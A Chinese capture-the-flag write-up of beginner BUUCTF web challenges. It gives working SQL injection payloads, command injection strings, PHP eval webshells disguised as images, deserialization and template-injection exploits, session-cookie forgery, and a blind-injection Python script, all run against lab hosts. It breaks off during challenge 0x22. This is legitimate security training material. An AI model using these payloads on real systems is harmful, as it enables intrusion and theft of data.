[toc]
菜鸡刚开始刷buu的web题,记录一下前40道简单题的解题思路和过程
0x01 [强网杯 2019]随便注 闭合
有报错信息回显
1 ?inject=1 'AND +updatexml(1 ,concat(0 x7e,(select +user()),0 x7e),1 )%23
有信息回显
1 return preg_match("/select |update |delete |drop |insert |where |\./i",$inject);
看来是关于拦截的信息
1 ?inject= 1 'AND+extractvalue (1 , concat(0x7e , user(), 0x7e ))%23
得到user
1 error 1105 : XPATH syntax error: '~root@localhost~'
得到database
1 ?inject= 1 'AND+extractvalue (1 , concat(0x7e , database(), 0x7e ))%23
1 error 1105 : XPATH syntax error: '~supersqli~'
把所有东西都返回了
能堆叠注入
1 2 3 4 5 6 7 <hr>array (1 ) { [0 ]=> string (16 ) "1919810931114514" } <br>array (1 ) { [0 ]=> string (5 ) "words"
使用handler查看表的内容
1 ?inject=0 ';handler+`1919810931114514 `+open+as +A;handler+A+read +first ;handler+A+read +next;%23
1 flag{bee56e24 -1 c 09 -4 fba-8 c 08 -e7 c 27 cc 69170 }
0x02 [极客大挑战 2019]EasySQL 1 ?username=admin &password =admin 'or(1)%23
1 flag {29 e869ab-79 d1-4974 -b60d-86 f0833546ac}
0x03 [极客大挑战 2019]Havefun
源码提示
1 flag {3 e508e49-6380 -47 f9-b510-9 ce21b72e0fc}
0x04 [SUCTF 2019]EasySQL 闭合
union 被拦截,from被拦截
报错不回显
可以试试看布尔盲注
database的名字叫ctf
猜测后端代码
1 2 3 4 5 $query = $_POST ["query" ];check ($query );$r = mysql_exec ('select $query' );var_dum ($r );......
貌似还真的是
而且可以堆叠注入
但是过滤了 handler
当输入的是0的时候,没有返回,其他时候都返回1
很显然,直接输入的东西的后面有一个 or 运算,类似于 $query or 0
随便试试
竟然得到了flag
1 flag {f43b29fb-8 d7b-4 f4e-aa39-6 e6a3a9c69e5}
看来这个select 语句肯定有个from Flag
可以猜测,长这样
1 2 3 4 5 $query = $_POST ["query" ];check ($query );$r = mysql_exec ('select $query or 0 from Flag' );var_dum ($r );......
0x05 [ACTF2020 新生赛]Include 用了filter伪协议
1 http://444e8eae-85a6-46b1 -be9e-481c9a79fa5a.node3.buuoj.cn/?file=php://filter/read =convert .base64 -encode/resource=index.php
解码以后得到index.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <meta charset="utf8" > <?php error_reporting (0 );$file = $_GET ["file" ];if (stristr ($file ,"php://input" ) || stristr ($file ,"zip://" ) || stristr ($file ,"phar://" ) || stristr ($file ,"data:" )){ exit ('hacker!' ); } if ($file ){ include ($file ); }else { echo '<a href="?file=flag.php">tips</a>' ; } ?>
可能flag就在flag.php里面
1 http://444e8eae-85a6-46b1 -be9e-481c9a79fa5a.node3.buuoj.cn/?file=php://filter/read =convert .base64 -encode/resource=flag.php
解码得到
1 2 3 4 <?php echo "Can you find out the flag?" ;
0x06 [极客大挑战 2019]Secret File
我点的是action.php但是最后跳转到了end.php
抓个包看看
访问看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html> <title>secret</title> <meta charset="UTF-8" > <?php highlight_file (__FILE__ ); error_reporting (0 ); $file =$_GET ['file' ]; if (strstr ($file ,"../" )||stristr ($file , "tp" )||stristr ($file ,"input" )||stristr ($file ,"data" )){ echo "Oh no!" ; exit (); } include ($file ); ?> </html>
结果是一个文件的源码
用filter伪协议
解码得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>FLAG</title> </head> <body style="background-color:black;" ><br><br><br><br><br><br> <h1 style="font-family:verdana;color:red;text-align:center;" >啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br> <p style="font-family:arial;color:red;font-size:20px;text-align:center;" > <?php echo "我就在这里" ; $flag = 'flag{8eb6002b-013d-4700-8f94-d9e2f436e4c6}' ; $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd' ?> </p> </body> </html>
0x07 极客大挑战 2019]LoveSQL 1 ?username='union +select (1 ),2 ,3 %23 &password=admin'or (1 )%23
使用超级payload
1 ?username= 'union+select (1 ), 2 , (select %20 (@)%20 from%20 (select (@:= 0x00 ), (select %20 (@)%20 from%20 (information_schema.columns)%20 where%20 (table_schema%3 E= @)%20 and %20 (@)in%20 (@:= concat(@, 0x0D , 0x0A , '%20 %5 B%20 ', table_schema, '%20 %5 D%20 %3 E%20 ', table_name, '%20 %3 E%20 ', column_name, 0x7C ))))a)%23 &password= admin'or (1 )%23
1 2 3 4 5 6 [ geek ] > geekuser > id| [ geek ] > geekuser > username| [ geek ] > geekuser > password| [ geek ] > l0ve1ysq1 > id| [ geek ] > l0ve1ysq1 > username| [ geek ] > l0ve1ysq1 > password|
看看geek
1 ?username= 'union+select (1 ), 2 , (select %20 (@)%20 from%20 (select (@:= 0x00 ), (select %20 (@)%20 from%20 (geek.l0 ve1 ysq1 )%20 where%20 (@)in%20 (@:= concat(@, 0x0D , 0x0A , 0x7C , '%20 %5 B%20 ', username, '%20 %5 D%20 %3 E%20 ', password, '%20 %3 E%20 ', 0x7C ))))a)%23 &password= admin'or (1 )%23
得到flag
1 flag {f236ceea-d306-4184 -87 e7-83 c133d23982}
0x08 [GXYCTF2019]Ping Ping Ping
拦截了空格和flag
用变量来看看index.php
1 ?ip=127.0 .0.1 ;ls ;a=index.php;cat $IFS $a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); } ?>
1 ?ip=127.0 .0.1 ;ls ;b=g.php;a=fla;cat $IFS $a $b
1 flag {2 c6f3541-384 d-4633 -9852 -5355815 a3a8e}
0x09 [RootersCTF2019]ImgXweb 从第一个非1分题开始做
注册了一个账号hello 密码是hello
要上传文件,我就上传了个a.c
然后发现了这个文件的位置
1 static/167659824 c 454 b631 c 7e455 bb6103 a50 /a.c
尝试上传一个php马,但是发现没用,解析不了
注册的时候尝试admin,报错说已经有一个名为admin的账号了
扫描下目录,发现robots.txt
但是是个这个东西
猜测是用python写的
看源码发现个提示
访问一下
但是是个歌舞视频,没什么用
注册的时候
1 username=admin &password =admin
login 的时候也是直接
1 username =hello&password=hello
登录进去之后
发现seesion_id由三个部分构成,以 . 隔开,且前两个部分都只用到base64出现的字符,有个srect.txt,里面应该是某个算法的密钥,猜测用到了jwt,而且header和payload部分没有进行过加密,即只是用到了base64url
尝试一下base64decode
1 { "typ" : "JWT" , "alg" : "HS256" }
第一部分,果然是jwt的头数据
第二部分里面,是user名
找一个在线的jwt网站
得到新的jwt
1 eyJ0 eXAiOiJKV1 QiLCJhbGciOiJIUzI1 NiJ9 .eyJ1 c2 VyIjoiaGVsbG8 ifQ.GCoJvts9 SEgFOM4 oSJsx0 xTvvMRQQesiM13 v8 p_MfGE
更改之后就登录到admin了
下载flag.png,然后用winhex打开
得到flag
1 flag {31 f30593-6 fd2-4 ff9-9968 -0146109 d8033}
0x0a [ACTF2020 新生赛]Exec
看到源码
1 2 3 4 5 <?php if (isset ($_POST ['target' ])) { system ("ping -c 3 " .$_POST ['target' ]); } ?>
1 flag {031 a15aa-088 d-4588 -bc2e-c778dc0e6a67}
0x0b [护网杯 2018]easy_tornado 三个文件,点开看看
1 2 /flag.txt flag in /fllllllllllllag
1 2 /hints.txt md5 (cookie_secret+md5(filename) )
观察这个url
1 ?filename= /hints.txt&filehash= 906 c 350 ef0749 cc 04e870 fc4159 fa9 b8
很明显,为了得到flag,需要filehash参数
而为了得到filehash参数,就需要cookie_secret
发现一个报错页面
有个参数,怀疑是ssti注入点
tornado一般模板
1 2 3 4 5 6 7 8 9 10 11 12 <html > <head > <title > {{ title }} </title > </head > <body > <ul > {% for item in items %} <li > {{ escape (item ) }} </li > {% end %} </ul > </body > </html >
看看tornado模板里面的alias们
这些是可以直接访问的对象
其中handler所对应的RequestHandler的源码中
可以看到返回了settings
那就直接调用这个handler.settings就行
1 {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '149239 0b-1ea6-4cc0-b8eb-bd5483 a8b804'}
然后根据提示,解出来filehash
1 9ea0818965db2686bc9f00ec34ef0245
1 /file ?filename =/fllllllllllllag&filehash =9ea0818965db2686bc9f00ec34ef0245
1 flag {ac5daf1c-8539 -4403 -858 b-0 f1dcf178bcd}
0x0c [极客大挑战 2019]Knife 送分题
直接post里面放代码
先看看 /
找到flag文件
接下来file_get_contents
1 string (43 ) "flag{815fa45a-2f26-42c0-bd2d-fcfa379223e7}
0x0d [RoarCTF 2019]Easy Calc
一个计算器
用到ajax,有用到waf
访问一下calc.php
1 node3.buuoj .cn :27735 /calc.php
看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );if (!isset ($_GET ['num' ])){ show_source (__FILE__ ); }else { $str = $_GET ['num' ]; $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ,'\$' ,'\\' ,'\^' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $str )) { die ("what are you want to do?" ); } } eval ('echo ' .$str .';' ); } ?>
而当num传入一个非数字时,就被拦截,这估计是waf搞的鬼
php解析查询字符串时,会将变量名中的空白符删除,变量名中的一些字符转换为下划线
试试看 %20num
成功
1 ?%20num =var_dump(scandir(chr (46 )))
1 ?%20num =var_dump(scandir(chr (76 )))
发现flagg
1 ?%20 num=var_dump(file_get_contents(chr (0x2f ).chr (0x66 ).chr (0x31 ).chr (0x61 ).chr (0x67 ).chr (0x67 )))
1 flag {29 e94668-e02e-42 eb-a133-bfe51804ee04}
0x0e [极客大挑战 2019]Http 看源码,看到一个Secret.php,点进去
提示
1 It doesn't come from 'https :
所以改一下reffer
又提示
1 Please use "Syclover" browser
所以改一下user agent
还是没完
1 No!!! you can only read this locally!!!
还要改一下 X-Forwarded-For
1 flag {6 ec3e040-5 c8a-42 db-9 c2f-9 ab646f20b3e}
0x0f [极客大挑战 2019]PHP
有网站备份
估计是有backup而来
扫描一下
有一个www.zip文件
下载来,能看到源码
index.php中php脚本部分
1 2 3 4 5 <?php include 'class.php' ;$select = $_GET ['select' ];$res =unserialize (@$select );?>
而class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php include 'flag.php' ;error_reporting (0 );class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username;echo "</br>" ; echo "You password is: " ; echo $this ->password;echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag ; echo $flag ; }else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die (); } } } ?>
所以最终要调用Name类的__destruct方法,且username强等于admin,且要保证password == 100,而且要注意,username和password是private
1 O :4 :"Name" :2 :{s:14 :"%00Name%00username" ;s:5 :"admin" ;s:14 :"%00Name%00password" ;i:100 ;}
而还有一个__wakeup要绕过,只要在这个序列里面稍作修改就行,把代表对象属性个数的2改成更大的数字3,然后就能绕过了
1 O :4 :"Name" :3 :{s:14 :"%00Name%00username" ;s:5 :"admin" ;s:14 :"%00Name%00password" ;i:100 ;}
得到flag
0x10 [极客大挑战 2019]Upload 先放一下最终payload
1 2 3 4 5 6 7 filename="geach1.phtml" Content-Type: image/jpeg GIF89a <script language="php" > eval ($_GET ['kkk' ]); </script>
GIF89a是gif的文件头
拦截了<?所以就以这种形式写php
拦截了php、php2345,但是没有拦截phtml
对content-type也进行了筛选,一定得是图片
1 upload/geach1.phtml/?kkk =phpinfo();
尝试了一下,发现上传得到图片在upload里面
找到flag的位置
得到flag
1 flag {7 f4761bb-1 e32-4246 -8 d98-bc715e12e429}
0x11 [极客大挑战 2019]BabySQL
过滤了 or,尝试之后,猜测后端代码为
1 preg_replace ("or" ,"" ,$password );
可以用||,也可以双写过滤,即用 oorr
1 ?username=admin&password=1 '||1
可以报错注入
1 username =admin&password=1 '||updatexml(1 ,concat(0 x7e,user(),0 x7e),1 )%23
database为geek
union 和 select 也被过滤了,但是都可以双写绕过
1 ?username=admin&password=1 'ununionion(seselectlect(1 ),(2 ),(3 ))
where、 from 也被过滤了,同样可以双写绕过
1 ?username= admin&password= 1 'ununionion(seselectlect(1 ), (2 ), (seselectlect(@p )frfromom(selselectect(@p := 0x00 ), (selselectect(@p )frfromom(infoorrmation_schema.columns)whwhereere(@p )in(@p := concat(@p , 0x0D , 0x0A , 0x5B , table_schema, 0x5D , 0x3E , table_name, 0x3E , column_name, 0x7C ))))a))%23
1 2 3 4 5 6 7 [ctf]> Flag>flag| [geek]> b4bsql>id | [geek]> b4bsql>username| [geek]> b4bsql>password| [geek]> geekuser>id | [geek]> geekuser>username| [geek]> geekuser>password|
看看ctf库的Flag表的flag字段
1 ?username= admin&password= 1 'ununionion(seselectlect(1 ), (2 ), (seselectlect(@p )frfromom(selselectect(@p := 0x00 ), (selselectect(@p )frfromom(ctf.Flag)whwhereere(@p )in(@p := concat(@p , 0x0D , 0x0A , 0x5B , flag, 0x5D ))))a))%23
1 flag {f18d434f-cab3-4 c97-9 f99-1 b38b79d8c54}
0x12 [ACTF2020 新生赛]Upload
把js关了
然后随便上传一个东西
这样就成功上传了
然后上传php文件
但是被拦截了,打印了个
先改一下content-type
1 Content-Type : image /jepg
还不够
发现geach.ph可以上传成功,应该没有内容检查,仅仅是后缀过滤
php2就成功了
1 ./uplo4d/ 2928 c20df8464007ad4848f0a2927502.php2
但是访问了却没有解析
换一个试试看
php3被拦截了
php4、php5都被拦截了,但是phtml没有被拦截
1 ./uplo4 d/4340762024 c 421e8 b8255 db1 d9 c 2 a66 e.phtml
访问一下
1 http ://5 f012b23-b093-4851 -b357-4 a95c0ed952a.node3.buuoj.cn/uplo4d/4340762024 c421e8b8255db1d9c2a66e.phtml?kkk=var_dump(scandir("/" ));
1 http ://5 f012b23-b093-4851 -b357-4 a95c0ed952a.node3.buuoj.cn/uplo4d/4340762024 c421e8b8255db1d9c2a66e.phtml?kkk=var_dump(file_get_contents("/flag" ));
1 flag {3972468 d-f7a7-4907 -a620-69046 f332fd7}
0x13 [ACTF2020 新生赛]BackupFile 扫描一下,扫出来index.php.back
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include_once "flag.php" ;if (isset ($_GET ['key' ])) { $key = $_GET ['key' ]; if (!is_numeric ($key )) { exit ("Just num!" ); } $key = intval ($key ); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3" ; if ($key == $str ) { echo $flag ; } } else { echo "Try to find out source file!" ; }
根本没有难度
1 flag {3 aa7ba8d-bc6d-45 a6-b48a-5 f737ed9376f}
0x14 [MRCTF2020]Ez_bypass 直接给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 I put something in F12 for you include 'flag.php' ;$flag ='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ;if (isset ($_GET ['gg' ])&&isset ($_GET ['id' ])) { $id =$_GET ['id' ]; $gg =$_GET ['gg' ]; if (md5 ($id ) === md5 ($gg ) && $id !== $gg ) { echo 'You got the first step' ; if (isset ($_POST ['passwd' ])) { $passwd =$_POST ['passwd' ]; if (!is_numeric ($passwd )) { if ($passwd ==1234567 ) { echo 'Good Job!' ; highlight_file ('flag.php' ); die ('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die ('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } } else { die ('Please input first' ); } }Please input first
很简单的绕过
1 flag {22724 a04-5 e03-463 b-a756-0 cb3e2c6fc40}
0x15 [极客大挑战 2019]BuyFlag 看源码发现注释里面有代码
1 2 3 4 5 6 7 8 9 ~~~post money and password~~~ if (isset ($_POST ['password' ])) { $password = $_POST ['password' ]; if (is_numeric ($password )) { echo "password can't be number</br>" ; }elseif ($password == 404 ) { echo "Password Right!</br>" ; } }
1 2 3 4 Cookie : UM_distinctid=17705637 df30-08003 bc12e4fd68-4 c3f207e-e1000-17705637 df4b3; user=0 Upgrade -Insecure-Requests: 1 password =404 abc&money=100000000
好像没什么用
提示说必须是CUIT的学生
实在不知道这怎么整,但是看到个user,试试看把这个0改成1
竟然就是CUIT的学生了
然后提示
1 Nember lenth is too long
不知道说的是password还是money,估计是先strlen了money,然后将money和1000000进行比较
但是当money是aaaa的时候,却报错钱不够
说明可能不是直接调用
1 strcmp ($money ,"100000000" )
如果是用的strcmp,又要经过比较后,得出aaa小于100000000的结论,那么可能是加了intval,即
1 strcmp (intval($money ) ,"100000000" )
100000000是9位数字中最小的数字了,不可能找到一个长度比9小,而intval之后又要比100000000大的数字了,所以推测,这题用的不是strcmp
注意到php的版本
推测这题的后端代码大概是这样
1 2 3 4 5 6 7 8 9 10 $money = $_POST ["money" ];if (strlen ($money ) >= 9 ){ echo "too long" ; } else if ($money >= 100000000 ){ echo $flag ; } else { echo "not enough" ; }
为什么不是”100000000”呢,因为如果是字符串,那么aa就比这个大了,但是 如果是数字100000000的话,那aa就被转成0
在以上情况下,$money可以为数组或者 1e9
1 password =404 abc&money=1 e9s
得到flag
1 password =404 abc&money[]=0
也得到flag
1 flag {a95db5a9-cc78-4272 -87 a0-67 bc99182454}
0x16 [HCTF 2018]admin 试试看注册一个username为admin的账户,果然返回admin被注册了
所以先随便注册一个
有一个/post可以访问,但是用hello账号访问时404notfound,猜测用admin登录会得到flag
还可以修改密码
这时候就有思路了,可以修改admin账户的密码,或者注册一个 admin’#之类的账户
先试试看改密码
可能是根据session来判断身份的
试试看抓注册的包
经过尝试,发现注册的时候可能存在注入点
估计是执行insert语句,然后报错了
猜测一下后端代码,但是值得注意的是后端估计不是php开发的,大概率是python
1 2 3 4 5 6 7 8 9 username = req.params["username" ] password = req.params["password" ] check = "SELECT username from user_table where username='" +username+"'" r = mysql_exec(conn,check) if len (r)!=0 : erro() insert = "INSERT user_table (username,password) values ('{%s}','{%s})" %(username,password) r = mysql_exec(insert) redirect()
如果有两步的话,就不知道这报错是第一步还是第二步的
所以最好把引号给闭合了
这样的话,估计就有一个username 为1的账号
但是报错了,估计用的是双引号
又报错了,感觉没戏
又来到change password页面,看看源码,看到一段注释
访问一下
是源码
可以看到,index.html有对session[‘name’]进行判断,如果是admin,就会显示flag
从而可以确定了,sql注入应该是没戏了
用到了flask,可以解密session看看session是基于什么东西生成的
https://github.com/noraj/flask-session-cookie-manager
有专门的项目,破解flask的session
1 Cookie : UM_distinctid=17705637 df30-08003 bc12e4fd68-4 c3f207e-e1000-17705637 df4b3; session=.eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1 q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decodedef decryption (payload ): payload, sig = payload.rsplit(b'.' , 1 ) payload, timestamp = payload.rsplit(b'.' , 1 ) decompress = False if payload.startswith(b'.' ): payload = payload[1 :] decompress = True try : payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception' ) if decompress: try : payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload' ) return session_json_serializer.loads(payload) if __name__ == '__main__' : session = ".eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls" print (decryption(session.encode()))
得到
1 {'_fresh': True, '_id': b'df137b41d6133 a990f87f10c9725 7b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f7796 2c82493519 af5cb1d7d0684 3f186e7afebddea032f1f6e6a', 'csrf_token': b'303e5bfdc21c051511 d3ea7b54ccb787dec0e31d', 'image': b'VB3Z', 'name': 'hello', 'user_id': '10'}
可见,用户名hello就在这里面
如果把name的值设为admin,然后生成一个session,就可以冒充admin登录了
要生成session
去config.py中找到secret_key
1 SECRET_KEY = os.environ.get('SECRET_KEY' ) or 'ckj123'
所以secret_key可以是ckj123
接下来生成session
1 ython .\flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh' : True, '_id' : b'df137b41d6133a990f87f10c97257b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f77962c82493519af5cb1d7d06843f186e7afebddea032f1f6e6a' , 'csrf_token' : b'303e5bfdc21c051511d3ea7b54ccb787dec0e31d' , 'image' : b'VB3Z' , 'name' : 'admin' , 'user_id' : '10' }"
1 .eJw9 kEGLwjAQRv_KMmcPWvUieKikiodJscy2 ZC6 iprZNGhdaZduI_32 DC54 _5 j3 ePOF47 cq-htW9 e5 QTODYaVk_4 OsMKeKcG9 LqRYmulSTxGyTKljUuFdkgbk9 JllKSbVLBlkVs0 ecsGF9 KxkRTP2 akpU1 ar4 uClaFuMDlPlM4 M-c1 zkNQsVsbnMU1 Kj8 tUohfWSkqUq1 ExF-4 GFtijUQgoZfFXEpGt2 ecO7 rFUUe3 RqYMOtdMkaXhO49 N31 eP-x5 e2 TgD72 TOHEBa3 ZGhTfQ1 AEtAyIkEaZCap5 SLJc4 C8 TDhyv37 jGnaryQ8 rt3 hfV_3 I7 uTDASbvmBhN49 GX3 _hvMpvD6 A687 bzs.YBpIKQ.aaxBjEPHdpKgsH2 V5 x99 lnRWIHI
然后就可以去伪造了
1 flag {3 bec85bf-8725 -4 f38-8 d68-5 dd5fc969c9e}
0x17 [SUCTF 2019]CheckIn 拦截 <?
初步绕过
但是,文件后缀是ph就会被拦截,而且区分大小写
但是其中有一个index.php,可以考虑写一个.user.ini看看
1 2 3 4 5 filename=".user.ini" Content-Type: image/jpeg GIF89a auto_prepend_file = cmd.txt
1 2 3 4 5 6 7 filename="cmd.txt" Content-Type: image/jpeg GIF89a <script language="php" > eval ($_GET ['kkk' ]); </script>
接下来访问index.php,理想情况可以执行木马
1 http ://3 a656e51-f708-4 d5d-a5c0-2 a497b0d9cd6.node3.buuoj.cn/uploads/852 aff287f54bca0ed7757a702913e50/index.php?kkk=var_dump(scandir("/" ));
1 http ://3 a656e51-f708-4 d5d-a5c0-2 a497b0d9cd6.node3.buuoj.cn/uploads/852 aff287f54bca0ed7757a702913e50/index.php?kkk=var_dump(file_get_contents("/flag" ));
1 flag {9 e6845a8-71 aa-4050 -b843-337 ef747be15}
0x18 [BJDCTF2020]Easy MD5 注释里面没有任何提示
抓包也没发现什么东西
看了看各个响应的文件的消息头
Hint竟然在这里
1 select * from 'admin' where password =md5($pass,true )
参数为true,如果没有true,那么返回的是一个 0-9a-f的字符串,而加了true之后,就会unhex成字符串
而ffifdyop经过md5后,是276f722736c95d99e921722cf9ed621c,unhex之后是 'or'6]!r,b
试试看
成功跳转
看看源码
1 2 3 4 5 $a = $GET ['a' ];$b = $_GET ['b' ];if ($a != $b && md5 ($a ) == md5 ($b )){
看来要满足这个条件
又跳转了
1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );include "flag.php" ;highlight_file (__FILE__ );if ($_POST ['param1' ]!==$_POST ['param2' ]&&md5 ($_POST ['param1' ])===md5 ($_POST ['param2' ])){ echo $flag ; }
md5处理数组会返回NULL
1 flag {3 ca7ca5e-3 b3a-4870 -9 d14-067308 f5dcb4}
0x19 [ZJCTF 2019]NiZhuanSiWei 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } } else { highlight_file (__FILE__ ); } ?>
直接给了源码
1 ?text =data://TEXT /HTML,welcome to the zjctf&file=php://filter /read =convert.base64-encode/resource=useless.php&password =hello
读一下useless.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
可见flag在flag.php里面
1 http ://b4dbe37d-a3be-430 f-9631 -10 dc5dc14949.node3.buuoj.cn/?text=data://TEXT/HTML,welcome to the zjctf&file=useless.php&password=O:4 :"Flag" :1 :{s:4 :"file" ;s:8 :"flag.php" ;}
1 flag {560773 ef-8 b1f-4549 -be23-04522902613 e}
0x20 [CISCN2019 华北赛区 Day2 Web1]Hack World 看来是sql注入
单引号回显bool(false),而双引号被拦截,’#也被拦截,但是#本身没有被拦截
很奇怪,不知道怎么闭合的
试试看
是不一样的回显,而且对应1和0的情况
说明闭合没有用到引号
可以考虑在这个点进行布尔盲注
1 id=1=(ascii (substr (database (),1 ,1 )))
有ascii可以用,substr也没有被过滤
提示说flag在flag表的flag字段
1 id=(ascii (substr ((select (flag )from(flag )),1 ,1 )))
可以进行盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requestsfrom time import sleepsession = requests.session() url = "http://4d428311-e831-4ac9-873d-46af3cb1c9f4.node3.buuoj.cn/index.php" what_i_want = "" count = 0 for i in range (1 ,50 ): def what_i_want_i_less_than_or_equal_mid (mid ): global count count += 1 print ("on the {}th request now.... " .format (count)) payload = "(ascii(substr((select(flag)from(flag)),{},1))<={})" .format (i,mid) data = {"id" :payload} resp = session.post(url=url,data=data) print (resp.status_code) while resp.status_code==429 : print ("429 !!! sleep(3)" ) sleep(3 ) resp = session.post(url=url,data=data) print (resp.status_code) if "girlfriend" in resp.text: return True return False print ("--" *70 ) print ("processing the {}th char now.... " .format (i)) low = 32 high = 127 while low < high: mid = (low + high)>>1 if what_i_want_i_less_than_or_equal_mid(mid): high = mid else : low = mid + 1 print ("{}th request completed!!!" .format (count)) if low==32 : break what_i_want+=chr (low) print (what_i_want) count = 0 print ("!!" *70 )print ("This is What You Want!!!!!!!!!!" )print (what_i_want)
不知道为什么在windows下面跑得好慢,所以就放到虚拟机的ubuntu上去跑
1 flag {3 ea4b221-9173 -4 fe2-b926-b7872ea73003}
0x21[极客大挑战 2019]HardSQL 1 ?username=admin&password=1 'or(1 )
登录成功,但是没有任何回显
有syntax error 的报错,估计可以报错注入
and 被拦截,空格被拦截,等于号=被拦截
1 ?username= admin&password= 1 'or (extractvalue (1 , concat(0x7e , user(), 0x7e )))%23
1 ?username=admin&password=1'or(updatexml(1,concat(0x7e,(SELECT (group_concat(TABLE_NAME))FROM (information_schema.TABLES)WHERE (`table_schema` like (database ())))),0x7e ))%23
得到表明
得到这个表的字段
1 ?username=admin&password=1'or(updatexml(1,concat(0x7e,(SELECT (group_concat(password ))FROM (H4rDsq1))),0x7e ))%23
1 flag {8 d4b1187-b167-49 c6-9030 -37
但是不够长,所以没法把flag全部打印出来
试试看用substr把后面的给打印出来
1 ?username=admin&password=1'or(updatexml(1,concat(0x7e,(substr(SELECT (group_concat(password ))FROM (H4rDsq1))),0x7e ))from (30 )for (20 ))%23
但是substr被拦截
尝试了一下,发现mid也被拦截了,但是right能用
1 ?username=admin&password=1'or(updatexml(1,concat(0x7e,(right((SELECT (group_concat(password ))FROM (H4rDsq1)),20 )),0x7e ),1 ))%23
所以flag连起来
1 flag {8 d4b1187-b167-49 c6-9030 -370888952288 }
0x22 [网鼎杯 2018]Fakebook 随便join一个
1 2 3 4 admin admin 2 www.baidu.com
看到用iframe把百度网页爬下来了
用到了view.php,不用?no直接访问,得到报错
no是一个注入点
闭合
